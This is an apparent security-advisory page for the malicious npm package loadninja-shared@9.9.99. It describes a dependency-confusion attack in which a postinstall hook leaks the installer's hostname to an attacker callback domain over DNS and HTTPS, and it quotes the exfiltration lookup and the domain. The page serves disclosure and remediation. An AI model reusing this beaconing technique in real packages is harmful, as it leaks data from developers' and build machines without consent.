loadninja-shared
This report shows the evidence for loadninja-shared@9.9.99, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5744 confirms this npm version as malicious.
Advisory
MAL-2026-5744
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in loadninja-shared (npm)
Details
loadninja-shared@9.9.99 is a dependency-confusion package targeting an internal/private package namespace. package.json declares `"postinstall": "node beacon.js"`, which fires automatically on `npm install`. beacon.js reads `os.hostname()` and transmits it — together with a nonce and the package name — to the attacker-controlled out-of-band domain `tspeuj1fodn3cj8v30uck2fs4jaby1mq.oastify.com` (Burp Collaborator infrastructure) over both a DNS lookup (`dns.lookup(NONCE + '.' + host63 + '.' + HOST,...)`) and an HTTPS POST. The version `9.9.99` is the canonical high-version trick used to win npm resolution against a legitimate internal package of the same name, capturing misrouted internal builds. Although a code comment labels the file a "benign PoC," the behavior is identical to a live dependency-confusion exploitation beacon: any installer that resolves this package leaks its host identifier to a third-party callback domain without consent.
## Source: ghsa-malware (b4442f0b942b0388ca6da0518fee175f83b540f73e5d53ff72448f59b373b3c0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
## Source: ossf-package-analysis (1ead72fc15074f049a104031ef60cad8af0f0680d1bf5ffee1492f500a3506d8) The OpenSSF Package Analysis project identified 'loadninja-shared' @ 9.9.99 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to loadninja-shared@9.9.99.
The versions list below shows the verdict for each recorded version.
- Avoid installing loadninja-shared@9.9.99. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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